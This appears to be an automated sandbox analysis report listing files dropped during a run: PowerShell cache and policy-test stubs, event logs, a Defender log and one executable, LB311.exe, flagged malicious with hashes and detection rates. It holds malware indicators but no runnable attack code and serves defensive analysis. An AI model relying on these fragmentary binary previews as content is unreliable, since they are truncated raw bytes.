SHA-256:	624047EB773F90D76C34B708F48EA8F82CB0EC0FCF493CA2FA704FCDA7C4B715
SHA-512:	38697525814CDED7B27D43A7B37198518E295F992ECB255394364EC02706443FB3298CBBAA57629CCF8DDBD26FD7CAAC44524C4411829147C339DD3901281AC2
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0gja1kcl.zyb.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0yq5qche.hvs.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0yssfrnf.n4v.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3zx0xyio.hal.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_appywb3p.auw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_icph3qcb.b2t.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kht3zcm4.o2c.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rcui0o2w.11w.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rwlsiedf.1wy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zpcxgyeb.3p3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\LB311.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7679488
Entropy (8bit):	7.744308216067832
Encrypted:	false
SSDEEP:	196608:/UUPSHwaRhOgwVPj04wfOAlM69LJDuHF:dKHwgt+Pov7y
MD5:	C9E6AA21979D5FC710F1F2E8226D9DFE
SHA1:	D881F97A1FE03F43BED2A9609EAE65531CF710CF
SHA-256:	A1A8CFCC74F8F96FD09115189DEFE07AC6FC2E85A9FF3B3EC9C6F454AEDE1C1D
SHA-512:	9E90BCB64B0E1F03E05990CDEAD076B4C6E0B050932ECB953DAE50B7E92B823A80FC66D1FD8753591719E89B405757B2BF7518814BC6A19BB745124D1A691627
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: YSU1PShcKh.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d...^n.e.........."..........xT...............@.....................................u...`...................................................U.......S.f... ..............."..............................`"..(................................................... . ..S.......R.................@....rsrc...f.....S.......R.............@....idata ......U.......S.............@... ..8...U.......S.............@...ndryujmp.p!..`...f!...S.............@...tnyudguu............*u.............@....pdata.I............,u.............@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.7219239988820956
Encrypted:	false
SSDEEP:	96:T8QCXP87kvhkvCCtcsMp/ZxHRQMp/ZaHRz:T8fPUcs0xQ0gz
MD5:	5E1470BC927CE5260E08C0C54E346B5B
SHA1:	F8E26E7E469D8F57BDE045B8AB0C794398BA8009
SHA-256:	F184A54BACE3DB519863E6EE293383B00D40E71F414F82A35323ABF3ADCFDADF
SHA-512:	61E4C5376ECDFD1996C27FF7296372DADF49DDE13A836BCBB4F003900163074C178C80CCF172636C111DA369C1091A984991DF485AE20E85B388D5D6175DA824
Malicious:	false
Preview:	...................................FL..................F.".. ......Yd.......MQ..z.:{.............................:..DG..Yr?.D..U..k0.&...&.......y.Yd....28.MQ...2*.MQ......t...CFSF..1.....EW)B..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW)B.Y.h..........................d...A.p.p.D.a.t.a...B.V.1......Y.h..Roaming.@......EW)B.Y.h..............................R.o.a.m.i.n.g.....\.1.....EW.C..MICROS~1..D......EW)B.Y.h............................ .M.i.c.r.o.s.o.f.t.....V.1.....EW.D..Windows.@......EW)B.Y.h..........................$A..W.i.n.d.o.w.s.......1.....EW+B..STARTM~1..n......EW)B.Y.h....................D.....b60.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EW(C..Programs..j......EW)B.Y.h....................@.......D.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW)BEW)B..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW)B.Y.h.....0..........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LX2LH03MDZUGO4OYGW3I.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.7219239988820956
Encrypted:	false
SSDEEP:	96:T8QCXP87kvhkvCCtcsMp/ZxHRQMp/ZaHRz:T8fPUcs0xQ0gz
MD5:	5E1470BC927CE5260E08C0C54E346B5B
SHA1:	F8E26E7E469D8F57BDE045B8AB0C794398BA8009
SHA-256:	F184A54BACE3DB519863E6EE293383B00D40E71F414F82A35323ABF3ADCFDADF
SHA-512:	61E4C5376ECDFD1996C27FF7296372DADF49DDE13A836BCBB4F003900163074C178C80CCF172636C111DA369C1091A984991DF485AE20E85B388D5D6175DA824
Malicious:	false
Preview:	...................................FL..................F.".. ......Yd.......MQ..z.:{.............................:..DG..Yr?.D..U..k0.&...&.......y.Yd....28.MQ...2*.MQ......t...CFSF..1.....EW)B..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW)B.Y.h..........................d...A.p.p.D.a.t.a...B.V.1......Y.h..Roaming.@......EW)B.Y.h..............................R.o.a.m.i.n.g.....\.1.....EW.C..MICROS~1..D......EW)B.Y.h............................ .M.i.c.r.o.s.o.f.t.....V.1.....EW.D..Windows.@......EW)B.Y.h..........................$A..W.i.n.d.o.w.s.......1.....EW+B..STARTM~1..n......EW)B.Y.h....................D.....b60.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EW(C..Programs..j......EW)B.Y.h....................@.......D.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW)BEW)B..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW)B.Y.h.....0..........

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	2464
Entropy (8bit):	3.24213640463067
Encrypted:	false
SSDEEP:	24:QOaqdmuF3rlQl+kWReHgHttUKlDENh+pyMySn6tUKlDENh+pyMySwwIPVxcwIPV3:FaqdF7el+AAHdKoqKFxcxkFY/
MD5:	EB0721679669FD693F2A4C5750E2E039
SHA1:	0953B7669ED25E97ACEC13BB09ED9DB5D339B02A
SHA-256:	C85E01FCE964705328EE6C3EEDB6C931435B1A50B19927A702C7B36186F1C91D
SHA-512:	C3AD988FC8D18B39AA8ECA016AF1BBDABB834DAB23400E35B1BF1EB75111BC0BD58757DE1DFF560C2515742598EF396C37F269CD45FEC3E7A791A097741DF9B2
Malicious:	false
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. W.e.d. .. D.e.c. .. 1.8. .. 2.0.2.4. .0.8.:.0.7.:.5.2.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e........................................ .W.S.C. .S.t.a.t.e. .I.n.f.o. ................................................................. .A.n.t.i.V.i.r.u.s.P.r.o.d.u.c.t. ..............................d.i.s.p.l.a.y.N.a.m.e. .=. .[.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.].....p.a.t.h.T.o.S.i.g.n.e.d.P.r.o.d.u.c.t.E.x.e. .=. .[.w.i.n.d.o.w.s.d.

C:\Windows\System32\winevt\Logs\Application.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	dBase III DBT, next free block index 1130785861, 1st item "**"
Category:	dropped
Size (bytes):	69216
Entropy (8bit):	4.21486714586012
Encrypted:	false
SSDEEP:	768:wtCkdNtCkd831jjHCOAskRMcibq7P5rAKP5feZ7IHoDsMMcAa5:CtC31dtkucIuPuKPBU
MD5:	59698D4F159EEC75E1073F46B2665347
SHA1:	B489F1D351E190D0F9E9FBD0E1F120020D0B8E65
SHA-256:	1FC443BBADF0531B883CD7D8AE1B25D5B57B170F45A6440E4A35A7804FBCB3DA
SHA-512:	AA4EB5B40C7A532007997442CEA1A66A58A6173DBA78C7E5D2AFF24C7B40B6805ADBB4CD12A76A343AD60E043E78778B54A4FE0716FEE47BE2FA060D2F38056D
Malicious:	false
Preview:	ElfChnk.................[.......]...........P...`....0........................................................................V.............................................=...........................................................................................................................g...............@...........................n...................M...]...........................j...........................~...........................................&...............................................**..X...[.........d.MQ.........3d.&........3d....P..k..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Z............{..P.r.o.v.i.d.e.r...7...F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.e.c.u.r.i.t.y.-.S.P.P.F........)...G.u.i.d.....&.{.E.2.3.B.3.3.B.0.-.C.8.C.9.-.4.7.2.C.-.A.5.F.9.-.F.2.B.D.F.E.

C:\Windows\System32\winevt\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.3161290049594982
Encrypted:	false
SSDEEP:	384:ehe6UHi2uepX7xasnPC3FzFtpFDhFPFyF842v86:eVUHiapX7xadptrDT9W84H6
MD5:	03FF38CB61FB3E653A6543E43BE15C6A
SHA1:	C19DB39CF089E0321E251A790A15F06F3AB7ACB8
SHA-256:	8F304111617A19556EC1ACF27807CDB6880F9F88296FA415D8A9BEBE03697F74
SHA-512:	64D011136A46443568DC2239ED64EB0045479395D762F1BC2A9287AF864708085E89C556DE191D8DC1634B8D5E754B7946051024B453935C227C37F396CCF33A
Malicious:	false
Preview:	ElfChnk.........7...............7....................Ig.......................................................................t................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&........r...................m..............qo...................>...;..................**..............4.9...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.377721629524822
Encrypted:	false
SSDEEP:	384:fhZN/GN6N/NDsNadNDtNkN6NQNQxNhdNQaNwNwNONPNavNqN6NfNjNALNCNyN7Ns:fZeIPRThtUmqYXL3QXr0Q7
MD5:	B59AFB7FCA4C7067FBB3EF413064809B
SHA1:	785A500AA8ADA1D59F3F7FD48E876F2305E7072D
SHA-256:	ED35583D239B8BBF565E20C872268401F9D05A4DCCE4ABA7F83BA99A5978FD95
SHA-512:	C86B8AE075AA4E669D9DE8EDC1C3E430D68F1A155153EE7B4C7B1898E03E42334C37FFAE7CD35B759EB019822762C7048083BEA711439FAA1D869360CE59CD88
Malicious:	false
Preview:	ElfChnk.{...............{..........................[.x......................................................................D.\........................................V...=...........................................................................................................................f...............?...........................m...................M...F...................=c......................=j...........................?......]...............................................-g..................**......{.......n=.df..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.283376077480789
Encrypted:	false
SSDEEP:	384:MhMVnRVSV3V9VbVSV5VjVMV/V1VQVPTV0V6V6VoVbVaVVVlVlVmVTVwVgVAV1VKp:M+HlSAi20Hl6Mun
MD5:	B430A867EFFA6C10DB7849040A0A7846
SHA1:	C6A2A5172C0FE90AE859C9F43848E32B325FB4A3
SHA-256:	A153A60CDD9A3D50F00CD67B73BEC9F83202A91E46E311626C12AAC5B027EE76
SHA-512:	33449904F5A4126CA4DD702A8074EFD9B3CD7A9F4F14308420D5F8F2827028A79F6F43B5A3AC417BFD6196A0AB312727A2F0755EDC48A95FEFB8743F4C4CD896
Malicious:	false
Preview:	ElfChnk......................................X...Y...k.c....................................................................:...................2.......................Z...=...........................................................................................................................f...............?...........................m...................M...F...........................................................................................................9@...............................=......**.. ..............f..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.189544186987218
Encrypted:	false
SSDEEP:	384:thsmsmi7mRXZmVkWmhTimmdmBmKmPhmRTmimZ8mevmcsm7mrmQmzmjmvmTmmYmel:t2klTiGFKX93WGUGEeOg26
MD5:	292CAC5D0A9D14FD4055E281284E0615
SHA1:	8EF88640F3226F945BC727899576C349554DFD81
SHA-256:	DB9C26F9577893752630B735E605188A19478E2ADE66C01AA5351658E5684DFE
SHA-512:	B26BE503E899D1E7CA980B363E99ED07F39CBA01BF35F75E213D3346463934C3719EB474211C10951127B551609089AB400CD500911D5BE7D25E8F105AAE5F53
Malicious:	false
Preview:	ElfChnk.@-......o-......@-......o-..........(.......".......................................................................:.................\...........................=...........................................................................................................................f...............?...........................m...................M...F................................i...&...,...........................7..................................5...c#..{1..k:...................v..........*..x...@-......U.hf..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.45619787222983577
Encrypted:	false
SSDEEP:	96:CNVaO8sMa3Z85ZMLkm3Z85ZP3Z85Z0z4rjjK3Z85Zu:UV7pp8nMLkmp8nPp8nKMvKp8n
MD5:	0FC4237BF3CD4A4F13AC34126A739A17
SHA1:	2F281241CC5FAA23A29161C5366BD6C4C21E1EB2
SHA-256:	6CF206321C32FE0A7EF92986DF07963336FFF60D407D2E130A9D641084F228B2
SHA-512:	3A27D1EEF61D35593E739BB30FC2D3E96021056959AD8C5DDFFA6BA295372E3DCFC7B1CD5BC09D69E4FBDC05654DB73419980D2F644D9B08FD890E1978BDDF9C
Malicious:	false
Preview:	ElfChnk.....................................@...............................................................................]..............................................=...........................................................................................................................f...............?...................................p...........M...F...............................................f...................................................................................&...............**..p...........n.d.............g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Telemetry.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.467947111655398
Encrypted:	false
SSDEEP:	1536:xZPZn2bBN2A4VD7VAx8whAGU2woJQghwMvOUFwe8OQhNwRA:
MD5:	6B473E7917B1EDEE80CAFE7D24A6A4E8
SHA1:	1940F41550F2986C928648ED00F9C6E4868D1A23
SHA-256:	1D52F13D2EA4ACC472815240DBFF0F34C6CD5E86F980D04D9AD28E42C3E7A355
SHA-512:	9AABAD5B7425A9692545864C11B99DDED0051CE8B442FFAB7BAB21DD8CD68B51BC980B01F324A81C685DC56793581AE2E6751DD08497CCBA64FB3339A9B5483D
Malicious:	false
Preview:	ElfChnk.e.......h.......e.......h...............x....;.......................................................................Z}............................................=...............y...........................................................................................................L...............?...............................................M...F...............................................&...................................................................................n...............**......e..........f..........'.z&........'.z..^................A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.565838744973026
Encrypted:	false
SSDEEP:	1536:PXY5nVYIyyqED5BVZUe39vHxt1BSocM1:PXY5nVYIyyqED5BVZUe39vHxt1BSot
MD5:	B30C931B9EF047307E1443502CE7EE14
